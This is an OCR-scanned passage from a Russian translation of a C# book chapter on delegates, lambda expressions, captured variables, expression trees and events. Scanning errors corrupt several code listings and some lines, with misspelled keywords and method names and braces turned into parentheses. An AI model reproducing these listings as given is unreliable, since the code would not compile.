шаблон, известный как «асинхронная модель программирования», который не согласуется напрямую с новы- ми асинхронными возможностями языка C# (они будут описаны в гла- 439
Глава 9 ве 18). И, наконец, самое большое преимущество асинхронного вызова делегата состоит в легкости передачи набора значений из одного потока в другой — вы можете просто передать то, что вам нужно, в качестве ар- гументов делегата. Однако в C# 2.0 был введен гораздо более эффектив- ный способ решения этой проблемы — встроенные методы. Встроенные методы C# позволяет создавать делегаты без необходимости явно записывать отдельный метод, путем определения встроенного метода, то есть метода, определяемого внутри другого метода. (Если такой метод возвращает зна- чение, его также могут называть анонимной функцией.) Это позволяет сде- лать код гораздо менее громоздким при использовании простых методов, однако чем данный способ действительно полезен, так это тем, как он ис- пользует факт, что делегаты являются не просто ссылкой на метод. Делега- ты могут также включать контекст в виде целевого объекта йсземплярного метода. Компилятор C# пользуется этим, чтобы обеспечить встроенным методам доступ к любым переменным, которые были в области видимости во вмещающем методе в точке вызова встроенного метода. По историческим причинам C# предоставляет два способа опреде- ления встроенных методов. Более старый требует использования клю- чевого слова delegate — он показан в листинге 9.23. Эта.форма встро- енного метода известна как анонимный метод*. Я поместил аргументы метода Findindex в отдельные строки, чтобы выделить встроенный ме- тод (второй аргумент), однако C# этого не требует. Листинг 9.23. Синтаксис анонимного метода •г ' public static int GetlndexOfFirstNonEmptyBin(int[] bins) { return Array.Findindex( bins, delegate (int value) ( return value > 0; } ); } * Существуют два похожих термина, которые достаточно произвольным образом означают почти, но не совсем одно и то же. Спецификация C# определяет термин ^ано- нимная функция» как альтернативное название для встроенного метода с возвращаемым типом, отличным от void, в то время как анонимный метод является встроенным мето- дом, определяемым с помощью ключевого ЬлОба delegate. 440
Делегаты, лямбда-выражения и события Данный код в чем-то напоминает ^обычный синтаксис определения метода. После списка параметров в скобках следует блок, содержащий тело метода (который, кстати говоря, может содержать любой объем кода, включая вложенные блоки, локальные переменные, циклы и все осталь- ное, что допускается размещать в обычном методе). Однако вместо имени метода просто указывается ключевое слово delegate. Возвращаемый тип логически выводится компилятором. В данном случае сигнатура метода Findindex объявляет, что второй аргумент относится к типу Predicated^, а это говорит компилятору, что возвращаемый тип должен относиться к bool. (Метод Findindex просто последовательно вызывает делегат для каждого элемента, пока не будет возвращено значение true.) На самом деле компилятору известно не только это. Поскольку я пе- редаю методу Findindex массив типа int [ ], компилятор знает, что аргу- мент типа Т относится к int, и нам нужен объект типа Predicate<int>. Следовательно, в листинге 9.23 мне пришлось предоставить уже извест- ную компилятору информацию о типе аргумента делегата. В версии 3.5 языка C# был введен более компактный синтаксис встроенного метода, лучше использующий те возможности логического выведений, кото- рыми располагает компилятор. Этот синтаксис представлен в листин- ге 9.24. Листинг 9.24. Синтаксис лямбда-выражения puclic static int GetlndexOfFirstNonEmptyBin(int[] bins) 1 / return Array.Firfdlndex( bins, value => value > 0 ); 1 Такая форма встроенного метода называется лямбда-выражением; этот термин происходит от названия отрасли математики, лежащей } основе функциональной модели вычислений. Выбор буквы лямбда греческого алфавита (X) не несет никакого особого смысла — это лишь случайный результат ограничений технологии печати 1930-х годов. Раз- работчик системы лямбда-исчисления, Алонзо Черч, изначально хотел использовать другую нотацию, однако при публикации его первой рабо- ты по данной теме оператор наборной машины решил использовать сим- вол X, поскольку это было наилучшим приближением к нотации Черча, которое могла обеспечить машина. Несмотря на столь неблагоприятное 441
Глава 9 начало, этот произвольно выбранный термин получил повсеместна распространение. В одном из первых влиятельных языков программи рования LISP название «лямбда» было использовано для выраженш представляющих собой функции, после чего его примеру последовал многие другие языки, не исключая С#. Листинг 9.24 является точным эквивалентом листинга 9.23; я про сто смог опустить некоторые детали. Лексема => однозначно маркиру ет выделенный код как лямбда-выражение, поэтому компилятору ш требуется раздражающе громоздкое ключевое слово delegate лишь дл! того, чтобы распознать этот код как встроенный метод. Поскольку коу пилятору известно, что данный метод должен принимать значение тиш int, указывать тип параметра не нужно; достаточно написать только еп имя: value. В случае простых методов, которые состоят всего из одно го выражения, синтаксис лямбда-выражения позволяет обойтись бе блока и инструкции return. Все это способствует созданию очень ком пактных лямбда-выражений, однако иногда вам, ве^’ятно, потребуете! и оставить некоторые детали. В таком случае можно использовать одш из вариантов, представленных в листинге 9.25. Все лямбда-выраженш в этом примере эквивалентны друг другу. Листинг 9.25. Разновидности лямбда-выражений Predicate<int> pl = value => value > 0; Predicate<int> p2 = (value) => value > 0; Predicate<int> p3 = (int value) => value > 0; Predicate<int> p4 = value => { return value > 0; }; Predicate<int> p5 = (value) => { return value > 0; }; Predicate<int> p6 = (int value) => { return value > 0; }; Первая вариация состоит в том, чтобы заключить параметр в круглы! скобки; причем в случае одного параметра это является опциональны^ в случае нескольких — обязательным. Также можно явно указать типи параметров (и тоже нужно заключить их в скобки, даже если использу ется только один параметр). Если вам так удобнее, можно применят! блок вместо одного выражения; при этом также потребуется использо вать ключевое слово return, если лямбда-выражение возвращает значе ние. Обычно блок создают в том случае, когда нужно записать в метод! несколько выражений. Возможно, вас удивляет, зачем вообще требуется такое количестве разных форм? Почему нельзя было обойтись лишь одним вариантом син 442
Делегаты, лямбда-выражения и события таксиса? Хотя форма, представленная в последней строке листинга 9.25, является наиболее универсальной, онатакже и намного более громоздкая по сравнению с первой строкой. Поскольку одна из целей, которым слу- жат лямбда-выражения, состоит в том, чтобы предоставить более лако- ничную альтернативу анонимным методам, C# поддерживает использо- вание более кратких форм там, где это не приводит к неоднозначности. Можно также записать и лямбда-выражение, не принимающее аргу- менты. Как показывает листинг 9.26, в таком случае нужно просто поста- вить пустую пару скобок перед лексемой =>. (Кроме того, данный пример показывает, что лямбда-выражения, в которых используется оператор «больше или равно», >=, могут выглядеть немного странно из-за не не- сущего никакого особого смысла сходства между лексемами => и >=.) Листинг 9.26. Лямбда-выражение без аргументов Func<bool> isAfternoon = () => DateTime.Now.Hour >= 12; Такая гибкость и компактность привела к тому, что лямбда- выражения почти полностью вытеснили более старый синтаксис ано- нимного метода. У последнего, впрочем, есть одно преимущество: он по- зволяет полностью опустить список аргументов. В некоторых случаях, когда вы предоставляете обратный вызов, вам достаточно знать лишь, что ожидаемое вами уже произошло. Это особенно характерно для стан- дартного шаблона событий, описываемого далее, поскольку данный ша- блон требует, чтобы обработчики событий принимали аргументы даже в том случае, кодла они не служат никакой цели. Например, когда про- изводится нажатие кнопки мыши, мало что можно сказать, помимо того факта, что был выполнен щелчок, но несмотря на это все типы кнопок в различных фреймворках пользовательского интерфейса платформы .NET передают обработчику этого события два аргумента. Код в ли- стинге 9.27 успешно игнорирует эти аргументы, используя анонимный метод, в котором опущен список параметров. Листинг 9.27. Игнорирование аргументов в анонимном методе EventHandler clickHandler = delegate ( Debug.WriteLine("Выполнен щелчок!"); ); Делегатный тип EventHandler требует, чтобы его целевые методы принимали два аргумента: с типом object и типом EventArgs. Если бы нашему обработчику требовался доступ к одному из этих аргументов, мы, конечно, могли бы добавить список параметров; однако если он нам 443
Глава 9 не нужен, синтаксис анонимного метода позволяет его опустить. При использовании лямбда-выражения этого сделать нельзя. Захваченные переменные Встроенные методы занимают гораздо меньше места, чем обычные, однако их преимущества не ограничиваются лишь краткостью. Исполь- зуя способность делегатов ссылаться не только на метод, но и на некото- рый дополнительный контекст, компилятор C# предоставляет еще одну полезную возможность: он может сделать доступными встроенному ме- тоду переменные из вмещающего метода. Листинг 9.28 демонстрирует метод, возвращающий объект типа Predicate<int>. Этот объект создает- ся с помощью лямбда-выражения, которое использует аргумент из вме- щающего метода. / Листинг 9.28. Использование переменной из вмещающего метода public static Predicate<int> IsGreaterThan(int threshold) { return value => value > threshold; } Данный код предоставляет ту же функциональность, что и класс Thresholdcomparer из листинга 9.7, но сейчас мы не стали создавать це- лый класс, а добились того же с помощью одного простого метода. На самом деле этот код выглядит обманчиво просто, так что давайте более внимательно рассмотрим, что же он делает. Метод IsGreaterThan воз- вращает экземпляр делегата. Целевой метод делегата выполняет про- стое сравнение — он вычисляет выражение value > threshold и возвра- щает его результат. Переменная value в этом выражении представляет собой просто аргумент делегата — значение типа int, передаваемое ко- дом, который вызвал делегат Predicate<int>, возвращаемый методом IsGreaterThan. Во второй строке листинга 9.29 выполняется вызов дан- ного кода, с передачей числа 200 в качестве аргумента value. Листинг 9.29. Откуда берется значение переменной value Predicate<int> greaterThanTen = IsGreaterThan(10); bool result = greaterThanTen (200); Переменная threshold в ^приведенном выше выражении ведет f себя немного хитрее. Это аргумент не встроенного метода, а метода 444
Делегаты, лямбда-выражения и события IsGreaterThan. В листинге 9.29 в качестве аргумента threshold передает- ся число 10. Однако прежде чем мы сможем вызвать возвращаемый им делегат, метод IsGreaterThan должен вернуть управление. Поскольку метод, для которого переменная threshold является аргу- ментом, уже возвратил управление, можно было бы подумать, что к тому времени, когда мы вызовем делегат, переменная уже не будет доступна. На самом деле это не представляет проблемы, поскольку компилятор де- лает какую-то работу за нас. Если встроенный метод использует какие- либо аргументы или локальные переменные, которые были объявлены вмещающим методом, компилятор создает класс для хранения этих пе- ременных, чтобы они могли пережить создавший их метод. Компилятор генерирует во вмещающем методе код, создающий экземпляр этого клас- са. (Как вы помните, каждый вызов блока получает собственный набор локальных переменных, вот почему при помещении локальных перемен- ных в объект для увеличения времени их жизни для каждого вызова по- требуется создавать отдельный объект.) Это является одной из причин того, что не всегда соответствует истине популярный миф о размещении локальных переменных значимого типа в стеке — в данной случае ком- пилятор копирует входное значение аргумента threshold в поле объек- та в куче, в результате чего любой код, которому требуется переменная threshold, использует это поле. Листинг 9.30 демонстрирует код, генери- руемый компилятором для встроенного метода из листинга 9.28. Листинг 9.30^ Код, генерируемый для встроенного метода [CompilerGenerated] private sealed class <>c_DisplayClassl public int threshold; public bool <IsGreaterThan>b__O(int value) return (value > this.threshold); } ) Все имена классов и методов начинаются с символов, недопустимых для идентификаторов в языке С#, чтобы гарантировать, что генерируе- мый компилятором код не будет конфликтовать с тем, что мы напишем сами. (Кстати говоря, данные имена также не являются фиксированны- ми - если вы попробуете выполнить этот код, они будут немного от- личаться.) Код, который был сгенерирован в данном случае, очень на- 445
Глава 9 поминает класс Thresholdcomparer из листинга 9.7, что и неудивительно, поскольку и в том, и в другом случае решается одна задача: делегату ну* жен метод, на который он может сослаться, и поведение этого метода за- висит от нефиксированного значения. Поскольку встроенные методы не являются элементом системы типов в среде выполнения, компилятору приходится генерировать класс, чтобы предоставить этот тип поведеним поверх базовой функциональности делегатов, задаваемой средой CLR5 Теперь вы уже знаете, что в действительности происходит, когд| вы записываете встроенный метод, и наверняка у вас естественны! образом напрашивается вывод о том, что внутренний метод может hi только считывать переменную, но и модифицировать ее. Переменна! при этом является просто полем в объекте, который доступен двум ме тодам — встроенному и вмещающему. В листинге 9.31 это использу ется для выполнения подсчета с обновлением суммы из встроенноп метода. Листинг 9.31. Модификация захваченной переменной static void Calculate (int[] nums) * ( int zeroCount = 0; int[] nonZeroNums = Array.FindAll( nums, v => { if (v == 0) ( zeroCount += 1; return false; ) else { return true; } }); Console.WriteLine( "Количество нулей в массиве: {0}, первое вхождение ненулевого значения: {!}", zeroCount, nonZeroNums[0]); } I 446 ZI
Делегаты, лямбда-выражения и события Все, что находится в области видимбсЬ! для вмещающего метода, видимо и для встроенных методов. Если вмещающий метод является экземплярным, сюда входят все экземплярные члены типа, благодаря чему встроенный метод может обращаться к полям, свойствам и ме- тодам экземпляра (компилятор поддерживает это путем добавления в генерируемый класс поля для хранения копии ссылки this). В гене- рируемый класс, пример которого показан в листинге 9.30, компилятор помещает только то, что действительно необходимо; поэтому если вы не будете использовать переменные или экземплярные члены из вмещаю- щей области видимости, он, возможно, сможет обойтись без генерирова- ния класса, ограничившись созданием метода. Метод FindAll в предыдущем примере не удерживает делегат после завершения своей работы — все обратные вызовы производятся во время выполнения FindAll. Однако так происходит не всегда. Некоторые API- интерфейсы работают асинхронным образом и потому могут выполнять обратный вызов в определенный момент в будущем, когда вмещающий метод уже завершит .свою работу. Это означает, что время жизни ^всех захваченных встроённым методом переменных будет превышать вре- мя жизни вмещающего метода. В большинстве случаев такое не пред- ставляет проблемы, поскольку все захваченные переменные находятся в объекте, размещенном в куче, и, таким образом, встроенный метод не будет полагаться на уже несуществующий стековый кадр. Единствен- ное, что требует осторожности, — это явное освобождение ресурсов пе- ред завершением обратного вызова. В листинге 9.32 представлен пример ошибки, которую лепсо допустить. Данный код использует основанный на обратных вызовах асинхронный API-интерфейс, чтобы выяснить тип HTTP-контента, предлагаемого ресурсом с конкретным URL-адресом. (Кстати, методы BeginGetResponse и EndGetResponse в этом примере ис- пользуют шаблон, очень сходный с тем, что вы видели в случае с мето- дами делегатов Beginlnvoke и Endlnvoke.) Листинг 9.32. Преждевременное удаление using (var file = new Streamwriter (@"c:\temp\log.txt")) ( var req = WebRequest.Create( "http: / /www. interact-sw .co.uk/"); req. BeginGetResponse (iar => var resp = req.EndGetResponse(iar); // ПЛОХО! Этот объект StreamWriter, возможно,
Глава 9 будет уже удален file.WriteLine(resp.ContentType); }, null); } // Возможно, удалит объект Streamwriter до запуска обратного вызова Инструкция using в этом примере удалит объект Streamwriter, ю только выполнение достигнет точки, где переменная file выходит изо! ласти видимости внешнего метода. Проблема заключается в том, что? переменная file также используется во внутреннем методе, которы по всей вероятности, будет запущен уже после того, как выполняющи внешний метод поток покинет блок данной инструкции using. Коми лятор не знает, когда будет запущен внутренний блок — ему неизвестн является ли данный обратный вызов синхронным, наподобие того, ч1 используется методом Array. FindAll, или асинхронным. Поэтому он i может выполнить здесь никаких особых дейст/ий — он просто вызык ет метод Dispose в конце блока, поскольку именно это ему предпись вает наш код. На практике в таком случае лучше не использовать ш струкцию using, а написать код, выполняющий явное удаление объею Streamwriter в той точке, где можно уверенно сказать, что работа с ни окончена. ~ Помочь в устранении подобных проблем могут новые асш 4 * хронные возможности языка, которые мы обсудим в главе II ^•'Использование их в сочетании с API-интерфейсами, пре/ ставляющими конкретный шаблон, позволяет компилятор точно знать, насколько долго будут находиться в области bi димости те или иные объекты. Накладываемые этим шаблс ном ограничения позволяют инструкции using вызывать метр Dispose в правильно выбранный момент. В критичном к производительности коде, возможно, потребуете учитывать связанные со встроенными методами расходы. Если ветре енный метод использует какие-либо переменные из внешней облает видимости, то каждый раз, когда вы создаете делегат для ссылки н встроенный метод, могут генерироваться два объекта вместо одного: эк земпляр делегата и экземпляр генерируемого класса для хранения раз деляемых локальных переменных. Там, где это возможно, компилято использует хранилища переменных повторно — если, к примеру, оди метод содержит два встроенных метода, они могут использовать оди 448
Делегаты, лямбда-выражения и события такой объект совместно. Однако даже при подобной оптимизации по- требуется создавать дополнительные объекты, что увеличивает нагруз- ку на сборщик мусора. Это достаточно скромные расходы, поскольку обычно такие объекты невелики, однако когда вам приходится иметь дело с очень серьезной проблемой производительности, вы можете по- лучить небольшое преимущество, если напишете код, который будет не столь лаконичен, но зато позволит снизить количество размещаемых в памяти объектов. В ряде случаев захват переменных может приводить к ошибкам, Ъ частности из-за проблемы области видимости в циклах for и foreach. На самом деле такую ошибку можно было совершить настолько лег- ко, что в последней версии C# компания Microsoft внесла изменения в поведение цикла foreach. Для цикла for проблема по-прежнему акту- альна, и пример кода, который с ней сталкивается, демонстрирует ли- стинг 9.33. Листинг 9.33. Проблема с захватом переменной в цикле for public static void Caught () * { var greaterThanN = new Predicate<int>[10]; for (int i = 0; i < greaterThanN.Length; ++i) greaterThanN[i] = value => value > i; // Плохое использование переменной i ) / Console.WriteLine(greaterThanN[5] (20)) ; Console.WriteLine (greaterThanN[5] (6)) ; } Данный код инициализирует массив делегатов Predicate<int>, в ко- тором каждый элемент выполняет проверку, не превышает ли значение определенное число. (Кстати говоря, для демонстрации данной пробле- мы не обязательно было использовать массив. Вместо этого цикл мог бы передавать создаваемые им делегаты в один из описываемых в главе 17 механизмов, которые обеспечивают параллельную обработку путем за- пуска кода в нескольких потоках. Тем не менее показать эту проблему все же легче с помощью массивов.) Если говорить точнее, делегат срав- нивает значение с переменной i, счетчиком цикла, решающим, в какую позицию массива следует направить каждый делегат, поэтому можно было бы ожидать, что элемент с индексом 5 станет ссылаться на метод, 449
Глава 9 сравнивающий свой аргумент с числом 5. Если бы это соответствовало истине, данный код дважды бы вывел слово True. На самом деле он сна- чала выводит True, после чего — False. Как оказывается, код в листин- ге 9.33 создает массив делегатов, где каждый элемент сравнивает свой аргумент с числом 10. Обычно это вызывает удивление у тех разработчиков, которые впер- вые сталкиваются с подобным. Оглядываясь на то, что мы рассмотре- ли ранее, достаточно легко понять, почему так происходит, зная, каким образом компилятор C# предоставляет лямбда-выражению доступ к переменным из вмещающей области видимости. Цикл for объявляет переменную i, и, поскольку она используется как вмещающим методом Caught, так и каждым из создаваемых циклом делегатов, компилятор ге- нерирует класс, подобный тому, что представлен в листинге 9.30, и раз- мещает ее в поле этого класса. Поскольку переменная i входит в область видимости в начале цикла и остается видимой во время его выполне- ния, компилятор создает один экземпляр генерируемого класса, и этот экземпляр совместно используется всеми делегатами. Таким образом, инкрементируя переменную i, цикл модифицирует поведение всех де- легатов, поскольку для них всех это одна и та же i. Проблема, по сути, состоит в том, что используется только одна пе- ременная i. Мы можем исправить данный код, введя внутри цикла до- полнительную переменную. В листинге 9.34 значение переменной i ко- пируется в другую локальную переменную, current^ которая не входит в область видимости, пока не будет начато выполнение итерации, и вы-j ходит из области видимости в конце каждой итерации. Таким образом, хотя у нас есть только одна переменная i, которая находится в области видимости на протяжении всего выполнения цикла, мы получаем, по сути, по одной новой переменной current при каждом его обходе. И, по- скольку все делегаты получают собственные отдельные переменные current, данная модификация означает, что каждый делегат в массиве сравнивает свой аргумент с собственным значением — а именно с тем, которое содержит счетчик цикла на соответствующей итерации. Листинг 9.34. Модификация цикла для захвата текущего значения for (int i = 0; i < greaterThanN.Length; ++i) { int current = i; greaterThanN[i] = value => value > current; } 450
Делегаты, лямбда-выражения и события Компилятор будет по-прежнему генерировать класс, аналогичный тому, что показан в листинпГЭ.ЗО, для хранения переменной current, совместно используемой встроенным и вмещающим методами, однако теперь он станет создавать новый экземпляр этого класса при каждом обходе цикла, чтобы предоставить каждому встроенному методу соб- ственный экземпляр переменной. Возможно, у вас возник вопрос: что произойдет, если мы напишем встроенный метод, использующий переменные из нескольких областей видимости? В листинге 9.35 переменная offset объявляется перед ци- клом, после чего лямбда-выражение использует и ее, и другую пере- менную, которая находится в области видимости в течение лишь одной итерации. Листинг 9.35. Захват переменных в разных областях видимости int offset = 10; for (int i = 0; i < greaterThanN.Length; ++i) int current = i; ' greaterThanN[i] = value => value > (current + offset); } В этом случае компилятор сгенерирует два класса: один для хране- ния разделяемых переменных каждой итерации (в данном случае пере- менной current) и один для хранения переменных, находящихся в об- ласти видимости на протяжении всего выполнения цикла (в этом случае переменной offset). Целевой объект каждого делегата будет содержать переменные внутренней области видимости, ссылающиеся на внешнюю область видимости. В общих чертах принцип действия этого кода представлен на рис. 9.1; для простоты здесь показаны только первые пять элементов массива. Переменная greaterThanN содержит ссылку на массив. Каждый элемент массива содержит ссылку на делегат. Каждый делегат ссылается на один и тот же метод, но в то же время обладает собственным целевым объектом; именно это позволяет ему за- хватывать собственный экземпляр переменной current. Каждый из целевых объектов ссылается на единственный объект, содержащий переменную offset, захваченную в области видимости за пределами цикла. 451
Глава 9 Рис. 9.1. Делегаты и захваченные области видимости До версии 4.0 включительно циклы foreach в языке C# вызывали ту же проблему, и для ее устранения требовалось вводить аналогичную до- полнительную локальную переменную. Переменная итерации входила в область видимости до первой итерации и оставалась видимой на протя- жении всего выполнения цикла, изменяя свое значение на каждой итера- ции; это приводило к той же проблеме, что и в случае цикла for. Однако теперь переменная ведет себя по-другому — как будто новая переменная итерации входит в область видимости при каждом обходе цикла, - поэ- тому при ее захвате во встроенный метод вы получаете значение для дан- ной итерации, а не значение самой последней выполненной итерации. Это изменение нарушает работу любого кода, который полагался на исходное поведение. Однако поскольку оно было не очень удобным и часто становилось причиной ошибок, компания Microsoft решила, что все же стоит его изменить. Поведение цикла for (при) сохранили без изменений, поскольку данная конструкция оставляет разработчику го- раздо большую часть работы итерации; она предоставляет лишь места для инициализации, проверки условия завершения цикла и итерации, потому, в отличие от цикла foreach, не всегда бывает ясно, что следует 452
Делегаты, лямбда-выражения и события считать переменной итерации. Например, код for (var х = new ltem(); Ifile.EndOfStream; source.Next ()) является допустимым, и непонятно, какой идентификатор здесь должен получить особое обращение. Поэто- му поведение циклов for осталось таким же, каким оно было всегда. Лямбда-выражения и деревья выражений Помимо предоставления делегатов, у лямбда-выражений припасен в рукаве еще один козырь. Некоторые из них могут выдавать структу- ру данных, представляющую собой код. Это происходит в том случае, когда синтаксис лямбда-выражения используется в контексте, тре- бующем объект типа Expression<T>, где Т — делегатный тип. Сам тип Expression<T> не является делегатным; это особый тип из библиоте- ки классов .NET Framework (а точнее, из пространства System.Linq. Expressions), который приводит в действие в компиляторе данный вид альтернативной обработки лямбда-выражений. Пример использования этого типа демонстрирует листинг 9.36. Листинг 9.36. Лямбда-выражение Expression<Func<int, bool» greaterThanZero = value => value > 0; Несмотря на то что внешне этот код очень напоминает некоторые из уже показанных в настоящей главе лямбда-выражений и делегатов, компилятор обращается с ним совершенно иначе. Он не станет генери- ровать метод — не будет никакого откомпилированного IL-кода, пред- ставляющего тело лямбда-выражения. Вместо этого компилятор выдаст код, аналогичный тому, что представлен в листинге 9.37. Листинг 9.37. Что компилятор делает с лямбда-выражением ParameterExpression valueParam = Expression.Parameter (typeof (int), "value") ; ConstantExpression constantzero = Expression.Constant(0); SinaryExpression comparison = Expression.GreaterThan(valueParam, constantzero); Zxpression<Func<int, bool» greaterThanZero = Expression.Lambda<Func<int, bool»(comparison, valueParam); Данный код вызывает ряд предоставленных классом Expression фа- бричных функций, чтобы сгенерировать по объекту для каждого под- выражения в лямбда-выражении. Построение выражения начинается 453
Глава 9 с простых операндов — параметра value и константного значения 0. За- тем эти операнды передаются объекту, представляющему выражение сравнения «больше», которое, в свою очередь, становится телом объек- та, представляющего лямбда-выражение в целом. Возможность сгенерировать объектную модель выражения позво- ляет создать API-интерфейс, чье поведение контролируется структурой и содержимым выражения. Например, некоторые API-интерфейсы до- ступа к данным могут принимать выражение, подобное тем, что пред- ставлены в листингах 9.36 и 9.37, и генерировать на его основе часть за- проса к базе данных. О применении интегрированных запросов языка C# мы поговорим в главе 10, однако некоторое представление о том, как использовать лямбда-выражение в качестве основы для запроса, можно получить из листинга 9.38. Листинг 9.38. Лямбда-выражения и запросы к базам данных var expensiveProducts = dbContext.Products.Where( p => p.ListPrice > 3000); В этом примере используется входящий в состав платформы .NET фреймворк Entity Framework, однако тот же подход поддерживают и другие технологии доступа к данным. Метод Where в приведенном при- мере принимает аргумент типа Expression<Func<Product,bool>>*. Класс Product соответствует сущности в базе данных, но здесь особо важно, что мы используем тип Expression<T>. Это означает, что компилятор сгене- рирует код, который будет создавать три объекта со структурой, соот- ветствующей данному лямбда-выражению. Метод Where обработает это дерево выражений, сгенерировав SQL-запрос, включающий следующее выражение: WHERE [Extentl]. [ListPrice] > cast(3000 as decimal(18)). Таким образом, несмотря на то что я записал мой запрос как выражение на языке С#, вся работа по поиску объектов, соответствующих крите- рию запроса, будет выполняться на сервере баз данных. Лямбда-выражения были добавлены в С#, чтобы сделать возмож- ным такой вид обработки запросов, как часть набора возможностей, со- бирательно называемых LINQ (о них пойдет речь в главе 10). Однако, * Возможно, вы удивлены увидеть здесь тип Func<Product, bool>, а не тип Predicate<Product>. Метод Where является частью входящей в .NET технологии LINQ. которая интенсивно использует-деяегаты. Чтобы обойтись без определения большого числа новых делегатных типов, технология LINQ использует типы Func, и для согласо- ванности в пределах API-интерфейса предпочитает тип Func даже в тех случаях, когда доступны другие стандартные типы. 454
Делегаты, лямбда-выражения и события как и в случае многих других возможностей LINQ, лямбда-выражения можно использовать и для других целей. Например, по адресу http:// www.interact-sw.co.uk/iangblog/2008/04/13/inember-lifting вы найде- те код, принимающий лямбда-выражения, которые извлекают свойства (такие как obj. Propl. Ргор2) и модифицируют их таким образом, чтобы они допускали значения null. Если либо obj, либо obj .Propl содержит значение null, вычисление этого выражения обычно дает в результате исключение NullReferenceException, однако его можно преобразовать в выражение, вычисление которого дает значение null при обнаруже- нии null на любой промежуточной стадии. Однако я не уверен в том, что выгода от подобной возни с выражениями всегда перевешивает те про- блемы, к каким она приводит, — пример с допустимостью значения null, который я написал в качестве обучающего упражнения, научил меня тому, что данная разновидность «умного» кода дает больше проблем, чем преимуществ. (И именно потому я не привожу здесь пример эквива- лентного кода — он достаточно объемен и при этом имеет сомнительные преимущества.) Что касается кода готового программного продукта, то я всегда использовал деревья выражений только в сочетании с LINQ, в том сценарии, для которого они были разработаны. Мой опыт при- менения их в других областях показывает, что обычно связанные с этим сложности ведут к созданию кода, поддержка которого требует больших усилий. Я не хочу сказать, что вы должны совсем избегать подобного; просто будьте начеку. Связанные с этим издержки могут оправдывать себя в случае компаний вроде Microsoft, которые создают фреймворки для миллионов разработчиков и обладают соответствующим бюджетом, однако если ваш проект не подходит под такое описание, вам, возможно, следует еще раз подумать, прежде чем навязывать своим клиентам «не- возможную крутость» деревьев выражений. События Делегаты предоставляют базовый механизм обратного вызова, необ- ходимый для поддержки уведомлений, однако использовать их можно различными способами. Следует ли передавать делегат как аргумент метода, как аргумент конструктора или, например, как свойство? Каким образом следует поддержать отмену подписки на уведомления? Систе- ма типов CTS формализует ответы на эти вопросы посредством особой разновидности члена класса, называемой событием, и язык C# облада- ет синтаксисом для работы с событиями. Листинг 9.39 демонстрирует класс с одним членом-событием. 455
Глава 9 Листинг 9.39. Класс с событием public class Eventful { public event Action<string> Announcement; public void Announce(string message) { if (Announcement != null) { Announcement(message); } } } Как и в случае любых других членов, определение события можно начать со спецификатора доступа; если же вы его не укажете, по умолча- нию будет задан уровень доступа private. Далее, ключевое слово event выделяет данный член как событие. После этого указывается тип собы- тия, в качестве которого может выступать любой делегатный тип. Я ис- пользую здесь тип Action<string>, несмотря на то что, как вы вскоре увидите, это является не самым типичным выбором. Наконец, необхо- димо указать имя члена; таким образом, в данном примере определяется событие с именем Announcement {англ, объявление). Для обработки со- бытия необходимо предоставить соответствующего типа делегат, при- крепив его в качестве обработчика с помощью синтаксиса +=. В листин- ге 9.40 используется лямбда-выражение, однако в общем случае можно применить любое выражение, которое выдает делегат требуемого собы- тием типа, или которое можно неявно преобразовать в такой делегат. Листинг 9.40. Обработка событий var source = new Eventful(); source.Announcement += m => Console.WriteLine( "Объявление: " + m); Листинг 9.39 также показывает, как следует запускать событие, то есть вызывать все прикрепленные к нему обработчики. Метод Announce представленного в этом примере класса проверяет, не содержит ли член- событие значение null, и если нет, использует тот же синтаксис, который мы бы применили, будь член Announcement полем, содержащим делегат, который нам нужно вызвать. На самом деле в том, что касается кода внутри класса, событие именно так и выглядит: как поле, содержащее делегат. 456
Делегаты, лямбда-выражения и события Так зачем же нам нужна особая разновидность членов класса, если это похоже на простое поле? Событие выглядит как поле только внутри определяющего класса. Код за его пределами не может запустить собы- тие, потому пример в листинге 9.41 не откомпилируется. Листинг 9.41. Как не следует запускать событие var source = new Eventful(); source. Announcement ("Будет работать?"); // Нет, даже не откомпилируется Единственное, что можно сделать с событием за пределами класса, — это прикрепить обработчик, используя оператор +=, и удалить таковой, применив оператор -=. Синтаксис для добавления и удаления обработ- чиков событий необычен тем, что это единственный случай в С#, когда при использовании операторов += и -= недоступны соответствующие отдельные операторы + и -. Действия, которые выполняет над события- ми и оператор +=, и оператор -=, являются замаскированными вызова- ми методов. Так же, как и свойства, события представляют собой пару методов с особым синтаксисом. Концептуально они аналогичны коду, показанному в листинге 9.42. (На самом деле это достаточно сложный код, обеспечивающий неблокирующее многопоточное выполнение опе- раций. Я опускаю здесь подробности, чтобы вы могли увидеть суть.) Ре- зультат объявления события все же будет несколько иным, поскольку ключевое слово eyent добавляет в тип метаданные, идентифицирующие создаваемые методы как событие; потому этот код может служить лишь иллюстрацией. Листинг 9.42. Приблизительный результат объявления события private Action<string> Announcement; 7/ Это не реальный код. // Реальный код является более сложным, поскольку обеспечивает возможность параллельных вызовов public void add_Announcement (Action<string> handler) ( Announcement += handler; ) public void remove_Announcement(Action<string> handler) { Announcement -= handler;
Глава 9 Как и свойства, события существуют главным образом для того, что бы предложить удобный, отличающийся синтаксис и чтобы инструмев там было легче понять, как следует представлять предлагаемые классов возможности. События особенно важны для элементов пользователе ского интерфейса. В большинстве фреймворков пользовательского ин терфейса объекты, представляющие интерактивные элементы, часто мо гут запускать широкий перечень событий, соответствующих различны! формам ввода — с клавиатуры, с помощью мыши или прикосновени! к экрану. Также часто встречаются события, связанные с доведением специфичным для конкретного элемента управления, такие как выбо[ нового элемента в списке. Поскольку система типов CTS определяя стандартную идиому, посредством которой элементы могут экспониро вать события, визуальные конструкторы пользовательского интерфей са, подобные тем, что встроены в среду разработки Visual Studio, спо собны отображать доступные события и предлагать вам автоматически генерирование обработчиков. Стандартный шаблон делегата события Событие в листинге 9.39 необычно тем, что использует делегатны! тип Action<T>. Хотя такое вполне допустимо, на практике вы редко гд< увидите применение этого типа, поскольку почти все события примени ют делегатные типы, соответствующие конкретному шаблону. Данны! шаблон требует, чтобы сигнатура метода делегата содержала два аргу мента. Первый должен обладать типом object, второй — типом EventArg; либо производным от него. Листинг 9.43 демонстрирует делегатный m EventHandler из пространства имен System, который представляет собо! наиболее простой и часто используемый пример этого шаблона. Листинг 9.43. Делегатный тип EventHandler public delegate void EventHandler(object sender, EventArgs e); Первому аргументу обычно присваивается имя sender (англ, от правитель), поскольку через него источник события передает ссылк на себя. Это означает, что если вы прикрепите один метод-обработчи к нескольким источникам событий, он всегда будет знать, какой источ ник отправил то или иное конкретное уведомление. Второй аргумен предоставляет месцх для размещения информации, специфичной до конкретного события. Например, элементы пользовательского интер фейса фреймворка WPF определяют различные события для обработ 